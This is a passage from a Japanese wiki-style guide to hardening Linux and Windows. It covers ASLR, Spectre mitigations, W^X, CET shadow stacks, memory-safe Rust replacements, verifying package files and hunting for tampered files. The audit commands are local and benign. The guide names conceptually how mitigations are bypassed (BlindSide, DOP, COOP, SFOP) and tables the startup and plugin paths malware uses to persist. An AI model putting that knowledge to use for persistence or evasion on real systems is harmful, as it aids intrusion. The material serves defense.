* システムバスを提供するプロセス: &lt;code&gt;busctl --system --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;
* ユーザーバスを提供するプロセス: &lt;code&gt;busctl --user --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;

dbusサービスの一部はプロセス未実行のアクティベータブル (activatable) な状態で提供されています。アクティベータブルな状態で提供するサービスの実行コマンドは以下で取得できます:
*  activatableなシステムバスの実行コマンド: &lt;code&gt;busctl --system --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;
*  activatableなユーザーバスの実行コマンド: &lt;code&gt;busctl --user --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;

== 潜在的な脆弱性を減らす ==
現代のプログラムでは以下のような保護が行われています。

=== メモリアドレスの推測困難化 === 
攻撃に必要なコード片（ガジェット）のメモリアドレスを推測しにくくするために、カーネル空間、ユーザー空間の両方で[[:w:アドレス空間配置のランダム化|アドレス空間配置のランダム化]]（ASLR）が行われています。カーネル空間の ASLR は KASLR (Kernel ASLR) とも呼ばれています。

ユーザー空間のプログラムで ASLR を有効にするためには[[:w:位置独立コード|位置独立コード]] (PIC) / 位置独立実行形式 (PIE) である必要があります。Unix で使われる実行形式の ELF では位置独立実行形式が ET_DYN、非位置独立実行形式 (non-PIE) が ET_EXEC となります。

Linuxでは ASLR が無効となる非位置独立実行形式のファイルを以下で検索することができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 非位置独立実行形式 (non-PIE) のバイナリを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}'
/usr/lib/default.sfx
/usr/lib/klibc/bin/mkfifo
/usr/lib/klibc/bin/zcat
/usr/lib/klibc/bin/poweroff
[...]
$ # 非位置独立実行形式 (non-PIE) のバイナリを含むDebianパッケージを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
aidl
busybox-static
code
cpp-15-x86-64-linux-gnu
cuda-gdb-13-4
cuda-nvcc-13-4
cuda-sanitizer-13-4
cuda-tileiras-13-4
debugedit
g++-15-x86-64-linux-gnu
gcc-15-x86-64-linux-gnu
gcc-mingw-w64-i686-posix
gdc-15-x86-64-linux-gnu
gds-tools-13-4
gfortran-15-x86-64-linux-gnu
gh
git-lfs
gobjc-15-x86-64-linux-gnu
gocryptfs
golang-1.26-go
go-md2man
go-mtpfs
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルがユーザー空間 ASLR を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sysctl kernel.randomize_va_space # 0=無し、1=部分的、2=完全
kernel.randomize_va_space = 2
&lt;/syntaxhighlight&gt;

また現在のLinuxカーネルがカーネル ASLR (KASLR) を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_RANDOMIZE_BASE' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_RANDOMIZE_BASE=y
&lt;/syntaxhighlight&gt;

なお ASLR は間接的な関数呼び出し（ C++ の vtable を含む）があると、そのアドレスから ASLR のオフセットがバレてしまい突破されてしまいます。

また CPU の[[:w:投機的実行|投機的実行]]での情報漏れ (Spectre) による[[:w:キャッシュ攻撃|キャッシュサイドチャネル攻撃]]（後述）の一つである「投機的探査」 (BlindSide) によってもコードの位置情報の取得がされ ASLR が突破されてしまいます。

=== 投機的実行の情報漏れ防止 ===
前述のとおり、投機的実行による情報漏れ (Spectre) は攻撃に繋がります。Spectre には境界チェックを迂回する Spectre V1 と間接分岐の分岐先アドレスのキャッシュ{{efn|分岐先バッファ (Branch Target Buffer、BTB)や分岐先アドレスキャッシュ (Branch Target Address Cache、BTAC) と呼ばれる。}}を汚染する Spectre V2 が存在します。&lt;!--TODO: Spectre v3/v4、Zenbleed--&gt;

Spectre V1 を防ぐ方法としては投機的実行を阻害するための命令（x86ではLFENCE）の挿入{{efn|Linuxカーネルでの投機的実行の防止は&lt;code&gt;barrier_nospec()&lt;/code&gt;。}}やアクセスできるアドレス範囲を狭めることが行われています{{efn|GCCでの投機的実行での範囲外アクセス防止は&lt;code&gt;__builtin_speculation_safe_value(...)&lt;/code&gt;、Linuxカーネルでの投機的実行での範囲外アクセス防止は&lt;code&gt;array_index_nospec(...)&lt;/code&gt;&lt;ref&gt;[https://lwn.net/Articles/759423/ Spectre V1 defense in GCC] LWN 2018年7月10日&lt;/ref&gt;。}}。

また Spectre V2 では攻撃を防ぎながらも速度を落とさない方法として脆弱な分岐先アドレスキャッシュに依存する間接分岐の代わりにリターンアドレスのキャッシュ{{efn|リターンスタックバッファ (RSB) と呼ばれる。}}に依存するリターン命令を使う retpoline が登場しました。しかしながらこの retpoline でも速度の低下は起こるため、既知の間接呼び出しを条件分岐 + 直接呼び出しに変換して高速化する手法が模索されました。LLVM では retpoline を有効にする &lt;code&gt;-mretpoline&lt;/code&gt;フラグの処理内に既知の仮想関数呼び出しを[[:w:二分木|二分木]]の直接分岐に置き換える「分岐ファネル」(Branch funnel) が導入されています&lt;ref&gt;[https://reviews.llvm.org/D42453 Use branch funnels for virtual calls when retpoline mitigation is enabled.] LLVM project&lt;/ref&gt;。また Linux カーネルでも既知の間接呼び出しを条件分岐 + 直接呼び出しに変換する INDIRECT_CALL_* マクロが搭載されています&lt;ref&gt;[https://lwn.net/Articles/774743/ Relief for retpoline pain] LWN 2018年12月14日&lt;/ref&gt;。&lt;!--TODO: Intel CETのSHSTKとretpolineの衝突--&gt;

一方、リターン命令の投機的実行も「Retbleed」や AMD CPU における「投機的リターンスタックオーバーフロー」 (SRSO){{efn|Speculative Return Stack Overflow。}}のような脆弱性が見つかっています。

なお低権限コードから高権限コードへの権限境界をまたいだ Spectre および Retbleed は Intel の「間接分岐制限付き投機」(IBRS){{efn|Indirect Branch Restricted Speculation。}}およびそれを高速化した「拡張IBRS」(eIBRS) などハードウェア側によって塞がれました&lt;ref&gt;[https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/hardware-behavior-related-to-speculative-execution.html Hardware Features and Behavior Related to Speculative Execution] Intel 2026年10月14日&lt;/ref&gt;が、権限境界をまたがないものは今も可能となっています。

=== メモリにおける書き込みと実行の排他化 (W^X) ===
メモリでは書き込み可能領域の実行不可化 ([[:w:NXビット|NXビット]]) と実行可能領域の書き込み不可化による書き込みと実行の排他化（[[:w:en:W^X|W^X]]）が一般的となっています。NXビットは x86 では NXビットは AMD64 と共に搭載された古い機能であるため、今時の CPU と OS は基本的にこれに対応しています。

現在の CPU がNXビットを有効にしているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -o nx
nx
nx
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルが厳格な W^X を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '_RWX' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
&lt;/syntaxhighlight&gt;

しかしながら書き込みと実行の排他の原則を破ってそれらを同時に行える場所というものも存在しています。読み込み・書き込み・実行が可能なことから「RWXセクション」と呼ばれています。Windows ではメモリページの PAGE_EXECUTE_READWRITE フラグがこれに相当します&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants メモリ保護定数] メモリ保護定数 (WinNT.h) - Win32 apps | Microsoft Learn&lt;/ref&gt;。

Windows のカーネルドライバでは NX フラグの使用が義務付けられています&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-hardware/test/hlk/testref/driver-compatibility-with-device-guard メモリ整合性と VBS とのドライバ互換性] Microsoft&lt;/ref&gt;が、その Windows カーネルにおいても PatchGuard の領域がコード難読化のためにこの原則を破っています。&lt;!--TODO: ホットパッチ--&gt;

また Linux でも実行可能領域を書き込み可能ページとして割り当てて書き込む text_poke 関数が用意されています。

=== 制御フローの操作を防ぐ (CET)  ===
現代では「[[:w:Return-oriented programming|リターン指向プログラミング]]」(ROP)、「呼び出し指向プログラミング」 (COP)、「ジャンプ指向プログラミング」(JOP) 、「[[:en:Sigreturn-oriented programming|Sigreturn指向プログラミング]]」(SROP) などの制御フロー操作による攻撃が一般化していますが、これを防ぐ技術として「[[:w:en:Control-flow integrity#Intel Control-flow Enforcement Technology|制御フロー強制テクノロジー]]」(CET) の「[[:w:en:Indirect branch tracking|間接分岐追跡]]」(IBT) と「[[:w:en:Shadow stack|シャドウスタック]]」(SHSTK) が存在します。

制御フロー強制は比較的新しい技術であるため、対応する CPU は以下に限られます:
* Intel Core (Tiger Lake) 第11世代以降
* AMD Zen 3 以降（シャドウスタックのみ）

現在の CPU が間接分岐追跡 (IBT)  およびシャドウスタックに対応しているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -oE '(ibt|shstk)'
shstk
ibt
shstk
ibt
[...]
&lt;/syntaxhighlight&gt;

またユーザーランドのシャドウスタックの使用にはユーザーランドだけでなくカーネルの対応も必要となります。Linux カーネル では 6.6 以降対応でこれに対応しています（sigreturnにも対応&lt;ref&gt;[https://github.com/torvalds/linux/commit/05e36022c0543ba55a3de55af455b00cb3eb4fcc x86/shstk: Handle signals for shadow stack · torvalds/linux@05e3602] GitHub 2023年8月3日&lt;/ref&gt;）。 Linuxディストリビューションでは Ubuntu 24.04以降、 Red Hat Enterprise Linux 9.7 以降&lt;ref&gt;[https://docs.redhat.com/ja/documentation/red_hat_enterprise_linux/9/html/9.7_release_notes/new-features-kernel 4.8. カーネル - 9.7 リリースノート - Red Hat Enterprise Linux - 9 - Red Hat Documentation] Red Hat&lt;/ref&gt;が標準でシャドウスタックを有効としています。

現在のLinuxカーネルがユーザーランドの間接分岐追跡およびシャドウスタックを有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -E '_(IBT|SHADOW_STACK)' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_CC_HAS_IBT=y
# CONFIG_X86_KERNEL_IBT is not set
CONFIG_X86_USER_SHADOW_STACK=y
CONFIG_X86_DISABLED_FEATURE_IBT=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
&lt;/syntaxhighlight&gt;

現在のユーザーランドプログラムの中で間接分岐追跡またはシャドウスタックが無効化されているものはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)'
/usr/lib/lv2/carla.lv2/carla.so
/usr/lib/7zip/7z
/usr/lib/7zip/7zCon.sfx
/usr/lib/7zip/7zr
/usr/lib/7zip/7z.so
/usr/lib/7zip/7za
/usr/lib/klibc/bin/ipconfig
/usr/lib/klibc/bin/umount
/usr/lib/klibc/bin/halt
[...]
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを含むDebianパッケージを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
7zip
aidl
ardour
avr-libc
cargo-1.93
carla
carla-bridge-wine32:i386
carla-bridge-wine64
carla-lv2
carla-vst
cuda-ctadvisor-13-4
cuda-cudart-13-4
[...]
&lt;/syntaxhighlight&gt;

一方、Linuxカーネルのカーネル側のシャドウスタック対応は2026年現在まだ開発中となっています (x86 Kernel Shadow Stacksパッチシリーズ)&lt;ref&gt;[https://www.phoronix.com/news/Linux-Kernel-Shadow-Stacks x86 Kernel Shadow Stacks Being Worked On For Linux As Powerful Control Flow Protection] Phoronix 2026年10月22日&lt;/ref&gt;。

なお、制御フロー強制テクノロジーの間接分岐追跡とシャドウスタックが有効であっても異なる関数の通常呼び出しは防げません。分かりやすい例では関数の間接呼び出しにおいて関数ポインタを&lt;code&gt;sigaction&lt;/code&gt;へと変更して独自のシグナルハンドラを登録し、その後クラッシュさせてそのシグナルハンドラを呼び出すという「セグメンテーション違反指向プログラミング」(SFOP) が挙げられます。また攻撃に使える関数 (dop gadgets) {{efn|dop gadgetsの検索の公式実装は「DOP-StaticAssist」[https://github.com/melynx/DOP-StaticAssist]だが長らく更新されておらず古いLLVM 3.5に依存している状態となっている。}}の通常呼び出しだけで攻撃する「Data-Oriented Programming」(DOP) &lt;ref&gt;Hong Hu et al. [https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=7546545 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks] IEEE 2016年&lt;/ref&gt;{{efn|セキュリティ以外の文脈におけるデータ指向プログラミング、データ指向設計、データ駆動型設計とは異なる。}}という手法も存在します。

C++向けでは仮想関数テーブル (vtable) を改ざんして攻撃に使える仮想関数（仮想関数ガジェット、vfgadget）を呼び出す「偽造オブジェクト指向プログラミング」(COOP) という攻撃手法も登場しています。

=== メモリ安全性の高いソフトウェアへ ===
既存のソフトウェアの脆弱性は7割がメモリ安全性の問題に起因すると言われています&lt;ref&gt;[https://www.cisa.gov/sites/default/files/2023-12/CSAC_TAC_Recommendations-Memory-Safety_Final_20231205_508.pdf REPORT TO THE CISA DIRECTOR Technical Advisory Council Memory Safety] サイバーセキュリティ諮問委員会 (CSAC) 2023年12月5日&lt;/ref&gt;。しかしながら[[C言語]]や[[C++]]はメモリ安全性が低いため、メモリ安全性の確保できる[[Rust]]などで書かれた代替プログラムが登場しています:
{| class=&quot;wikitable&quot;
|+ コマンドのRust版
|-
! コマンドの概要 !! 従来版 !! Rust版
|-
| Unix系の基本コマンド群 || GNU Core Utilities || '''uutils coreutils'''
|-
| ファイル検索コマンド群{{efn|&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;locate&lt;/code&gt;、&lt;code&gt;updatedb&lt;/code&gt;、&lt;code&gt;xargs&lt;/code&gt;の4コマンド}} || GNU Findutils || '''uutils findutils'''
|-
| ファイル差分コマンド群{{efn|&lt;code&gt;diff&lt;/code&gt;、&lt;code&gt;cmp&lt;/code&gt;、&lt;code&gt;diff3&lt;/code&gt;、&lt;code&gt;sdiff&lt;/code&gt;の4コマンド}} || GNU Diffutils || '''uutils diffutils'''
|-
| ストリームエディタ (sed) || GNU sed / FreeBSD sed || '''uutils sed'''
|-
| AWKスクリプト || GNU AWK || '''uutils AWK'''
|-
| 文字列検索 || GNU Grep || '''uutils Grep'''
|-
| tarアーカイブ || GNU Tar || '''uutils tar'''
|-
| アカウント管理コマンド群 || shadow-utils || '''uutils shadow-utils'''
|-
| アクセス制御コマンド群{{efn|&lt;code&gt;chacl&lt;/code&gt;、&lt;code&gt;getfacl&lt;/code&gt;、&lt;code&gt;setfacl&lt;/code&gt;の3コマンド}} || acl || '''uutils acl'''
|-
| procfs{{efn|プロセスファイルシステム}}表示コマンド群 || procps / procps-ng || '''uutils procps'''
|-
| ホスト名管理コマンド群{{efn|&lt;code&gt;hostname&lt;/code&gt;、&lt;code&gt;dnsdomainname&lt;/code&gt;、&lt;code&gt;domainname&lt;/code&gt;、&lt;code&gt;nisdomainname&lt;/code&gt;、&lt;code&gt;ypdomainname&lt;/code&gt;の5コマンド。}} || hostname || '''uutils hostname'''
|-
| Linuxユーティリティ || util-linux || '''uutils util-linux'''
|- 
| 権限昇格 || sudo || '''sudo-rs'''
|-
| 暗号・署名システム || GnuPG || '''Sequoia PGP'''
|-
| 時刻同期 || ntpd || '''ntpd-rs'''
|-
| セキュアシェル (SSH) || OpenSSH || '''russh'''
|}

これらのRustで書かれたコマンドのうちuutils coreutilsとsudo-rsはUbuntuに採用されています。

またライブラリでもRustだけ (Pure Rust) で実装されたものが登場しています:
* 画像ライブラリ - これらは例えばGNOMEデスクトップ環境の画像ローダーGlycinから使われています&lt;ref&gt;[https://gitlab.gnome.org/GNOME/glycin GNOME / glycin · GitLab] GNOME Project&lt;/ref&gt;。
** libpng → pngクレート - PNG画像向け。
** libgif → gifクレート - GIF画像向け。
** libjpeg / libjpeg-turbo → zune-jpeg / libjpeg-turbo-rs - JPEG画像向け。
** OpenJPEG → hayro-jpeg2000 - JPEG 2000画像向け。
** libtiff → tiffクレート - Tiff画像向け
** libwebp → image-webpクレート - WebP画像向け。
** libraw → libopenraw - RAW画像向け。
** librsvg - SVG画像向け。C言語からRustに書き直しされました。
* 圧縮ライブラリ
** zlib / zlib-ng → zlib-rs - Deflate圧縮向け
** libbzip2 → bzip2-rs - BZ2圧縮向け
* 暗号化ライブラリ
** OpenSSL / GnuTLS → [[:w:en:Rustls|Rustls]]
* Unicode処理ライブラリ
** ICU4C → ICU4X
* テキスト整形ライブラリ
** HarfBuzz → HarfRust
* ブラウザエンジン
** Blink/Gecko → Servo

&lt;!--
=== 整合性チェック ===
PatchGuard / HyperGuard
--&gt;

== 不審な改変が行われていないかを調べる ==
例えばOSの起動には一連のシーケンスがありますが、マルウェアは基本的にここの途中に入り込んで永続化します。

{| class=&quot;wikitable&quot;
|+ 起動シーケンス
|-
! 種類 || Windows 11以降 !! Linux (Gnome) !! Linux (KDE)
|-
| 1. 起動ファームウェア || [[:w:Unified Extensible Firmware Interface|UEFI]] || colspan=2 | [[:w:Basic Input/Output System|レガシーBIOS]] / UEFI
|-
| 2. ブートローダー || [[:w:Windows Boot Manager|Windows Boot Manager]] (bootmgfw.efi)&lt;br&gt; → [[:w:Windows Boot Manager#winload.exe/winload.efi|Windows OS Loader]] (winload.efi) || colspan=2 | GRUB{{efn|Ubuntuの標準。}} / systemd-boot / Unified Kernel Image{{efn|Linuxカーネルとブートイメージを単一バイナリにする仕組み。}} / EFI boot stub{{efn|LinuxカーネルをEFIから直接ブートできるようにする仕組み。}}
|-
| 3. カーネル || [[:w:ntoskrnl.exe|ntoskrnl.exe]] || colspan=2 | Linuxカーネル ([[:w:vmlinux|vmlinux]]{{efn|圧縮後はvmlinuzとなる。}})
|-
| 4. 初期化プロセス || [[:w:en:Session Manager Subsystem|smss.exe]]&lt;br&gt; → wininit.exe&lt;br&gt; || rowspan=2 colspan=2 | [[:w:systemd|systemd]]{{efn|以前は代替initもよく使われていたが、今はsystemdが標準となっている。}}
|-
| 5. サービスコントロールマネージャ || colspan=2 | [[:w:en:Service Control Manager|services.exe]]
|-
| rowspan=2 | 6. ログインマネージャ || rowspan=2 | [[:w:Winlogon|winlogon.exe]] || colspan=2 | systemd-logind&lt;br&gt;sd-pam
|-
| [[:w:GNOME ディスプレイマネージャー|GDM]] || [[:w:Simple Desktop Display Manager|SDDM]]
|-
| rowspan=2 | 7. ユーザー初期化プロセス || rowspan=2 | userinit.exe || colspan=2 | systemd
|-
| gnome-session || kcminit&lt;br&gt; → plasma_session
|-
| 8. シェル || [[:w:Windows Explorer|explorer.exe]] || gnome-shell || plasmashell
|-
| 9. コンポジタ || [[:w:Desktop Window Manager|dwm.exe]] || mutter || kwin
|}

また起動シーケンス以外にもアップデートシーケンスへの感染やシェル感染、ブラウザ感染もあります。

{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| Windows || %APPDATA%\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;* || C:\&lt;wbr&gt;ProgramData\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;*
|-
| [[:w:PowerShell|PowerShell]] プロファイル&lt;ref&gt;[https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.6 about_Profiles - PowerShell - Microsoft Learn] Microsoft&lt;/ref&gt; || %USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Profile.ps1&lt;br&gt;%USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1 || C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Profile.ps1&lt;br&gt;C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1
|}

{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| POSIX標準 || ~/.profile || /etc/profile
|-
| XDG Base Directory&lt;wbr&gt;標準 || ~/.local/bin/* ||
|-
| FHS{{efn|Filesystem Hierarchy Standard}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/fhs.shtml] || || /bin/* /sbin/* /usr/bin/* /usr/local/bin/* /etc/inittab
|-
| LSB{{efn|Linux Standard Base}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/lsb.shtml] || || /etc/profile.d/* /etc/init.d/* /etc/cron.d/*
|-
| Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]{{efn|systemd-xdg-autostart-generator が導入されているシステムではこれらがsystemd設定に自動変換される。}} || ~/.config/autostart/* || /etc/xdg/autostart/*
|-
| Bash || ~/.bash_profile ~/.bashrc || /etc/bash_profile /etc/bash.bashrc /etc/bash.bash_logout
|-
| Z shell (Zsh) || ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin ~/.zlogout || /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin /etc/zlogout&lt;br/&gt;（または /etc/zsh/zshenv /etc/zsh/zprofile /etc/zsh/zshrc /etc/zsh/zlogin /etc/zsh/zlogout）
|-
| Systemd || ~/.config/systemd/user/* || /etc/systemd/system/* /etc/systemd/user/*
|-
| Xorg || ~/.xinitrc ~/.xserverrc ~/.xsession || /etc/X11/xinit/xinitrc /etc/X11/xinit/xserverrc /etc/X11/Xsession /usr/share/xsessions/*
|-
| Wayland ||  || /usr/share/wayland-sessions/*
|-
| Python || ~/.local/lib/python*/site-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getusersitepackages())'&lt;/code&gt;で確認可能。}} || /usr/lib/python*/dist-packages/*/** /usr/local/lib/python*/dist-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getsitepackages())'&lt;/code&gt;で確認可能。}}
|-
| Perl{{efn|Debian/UbuntuではDebianパッケージ設定システム (debconf) のためにPerlを使用している。}} || || /usr/share/perl*/**  /usr/local/share/perl*/** /usr/lib/*/perl*/** /usr/local/lib/*/perl*/**{{efn|絶対パスは&lt;code&gt;perl -V:installsitearch -V:installsitelib -V:installvendorarch -V:installvendorlib -V:archlib -V:privlib -V:installarchlib -V:installprivlib&lt;/code&gt;で確認可能。}}
|}

=== パッケージ管理ファイルを検証する ===
パッケージ管理システムが管理しているファイルではファイルハッシュが保存されているため簡単にその検証を行うことが可能です:
{| class=&quot;wikitable&quot;
|-
! OS / パッケージシステム !! 検証のみ !! 修復
|-
| Windows || &lt;code&gt;sfc&amp;nbsp;/verifyonly&lt;/code&gt; || &lt;code&gt;sfc&amp;nbsp;/scannow&lt;/code&gt;
|-
| Debパッケージ (Debian / Ubuntu) || &lt;code&gt;debsums -s&lt;/code&gt; || &lt;code&gt;apt install --reinstall $(debsums -cs &amp;verbar; xargs -r dpkg-query -S &amp;verbar; cut -d: -f1 &amp;verbar; sort -u)&lt;/code&gt;
|-
| RPMパッケージ (RedHat / Fedora) || &lt;code&gt;rpm -Va&lt;/code&gt; || 
|}

ただしローカルハッシュが改ざんされている可能性もあるため過信はできません。&lt;!--TODO: ローカルハッシュの検証法--&gt;

自動的にシステムの検証を行うシステムも存在します:
* Android - ブロックデバイスレベルでのハッシュ検証 (dm-verityベース)&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;

&lt;!--
またUbuntuのSnapパッケージでもdm-verityの導入が進められています。

また特定言語のパッケージの検証は以下で可能です:
* PIP (Python): なし
--&gt;

=== システム領域に不審なファイルが追加されていないかを調べる ===
システムの追加ファイルの検知にはパッケージシステムで管理されていないファイルの一覧を返す以下のようなツールが存在します:
* Debian / Ubuntu（Debパッケージ）向け: cruft-ngパッケージ（&lt;code&gt;cruft&lt;/code&gt;コマンド）

上記の&lt;code&gt;cruft&lt;/code&gt;コマンドでは設定ファイルだけ残っているパッケージのファイルも出てきてしまいます。そのため、これが邪魔な時は設定ファイルだけ残っているパッケージを&lt;code&gt;sudo apt purge '~c'&lt;/code&gt;で削除しましょう。

またaptレポジトリに無いインストールされたパッケージは&lt;code&gt;apt list '?obsolete'&lt;/code&gt;で、手動 (manual) でインストールされたパッケージは&lt;code&gt;apt-mark showmanual&lt;/code&gt;で確認できます。これらのコマンドを実行してインストールした覚えないパッケージが入ってないかをチェックしましょう。GUI が使えるのであれば&lt;code&gt;synaptic&lt;/code&gt;を起動して「インストール済（ローカルまたは廃止）」と「インストール済（手動）」を確認するのもオススメです。

=== ユーザー領域に不審なファイルが追加されていないかを調べる ===
ユーザースクリプトの書き換えや追加は検知が難しいです。&lt;!--TODO: 良い方法を書く--&gt;

共有ライブラリやスクリプトによるプラグイン追加も可能となっているため、こちらにも気をつけなければいけません。これには例えば以下があります:
{| class=&quot;wikitable&quot;
|+ 代表的なユーザースクリプトや拡張機能のディレクトリパス
|-
! 種類 !! Windowsのパス !! macOSのパス !! Linuxのパス
|-
| Google Chrome 拡張機能 || %LOCALAPPDATA%\Google\Chrome\User Data\*\Extensions\ || ~/Library/Application Support/Google/Chrome/*/Extensions/ || ~/.config/google-chrome/*/Extensions/
|-
| GIMPプラグイン&lt;ref&gt;[https://gimp.cc/faq/add-gimp-plugins.html How to Install GIMP Plugins - Detailed Guide with Troubleshooting] GIMP.cc&lt;/ref&gt; || %APPDATA%\GIMP\*\plug-ins\ || ~/Library/Application Support/GIMP/*/plug-ins/ || ~/.config/GIMP/*/plug-ins/
|-
| Blenderスクリプト{{efn|起動スクリプト、アドオンを含む。}}&lt;ref&gt;[https://docs.blender.org/manual/ja/dev/advanced/blender_directory_layout.html  Blender&amp;#39;s Directory Layout] Blender Foundation&lt;/ref&gt; || %APPDATA%\Blender Foundation\Blender\*\scripts\ || ~/Library/Application Support/Blender/*/scripts/ || ~/.config/blender/*/scripts/
|-
| Ardourスクリプト&lt;ref&gt;[https://manual.ardour.org/lua-scripting/ The Ardour Manual - Lua Scripting] Ardour&lt;/ref&gt; || %LOCALAPPDATA%\ardour*\scripts\ || ~/Library/Preferences/Ardour*/scripts/ || ~/.config/ardour*/scripts/
|-
| LibreOfficeスクリプト || %APPDATA%\LibreOffice\*\user\Scripts\ || ~/Library/Application Support/LibreOffice/*/user/Scripts/ || ~/.config/libreoffice/*/user/Scripts/
|-
| Visual Studio Code 拡張機能&lt;ref&gt;[https://code.visualstudio.com/docs/configure/extensions/extension-marketplace Extension Marketplace] Microsoft&lt;/ref&gt; || %USERPROFILE%\.vscode\extensions\ || ~/.vscode/extensions/ || ~/.vscode/extensions/
|}

=== 改変・追加されたファイルが危険かを調べる ===
実行ファイルやスクリプトはLinuxでは以下で検出できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs file | grep -i -E ':.*(executable|shared object|relocatable|script)'
/etc/init.d/binfmt-support.dpkg-new:                                                                                                    POSIX shell script, ASCII text executable
/etc/update-motd.d/99-livepatch-kernel-upgrade-required:                                                                                POSIX shell script, ASCII text executable
/usr/lib/chromium-browser/plugins/libpepflashplayer.so:                                                                                 ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=5c421e89a5c062a2106a5a4381dc38e779a22795, stripped
&lt;/syntaxhighlight&gt;

またClamAVを導入していれば以下でマルウェアデータベースとの照合を行うことができます:
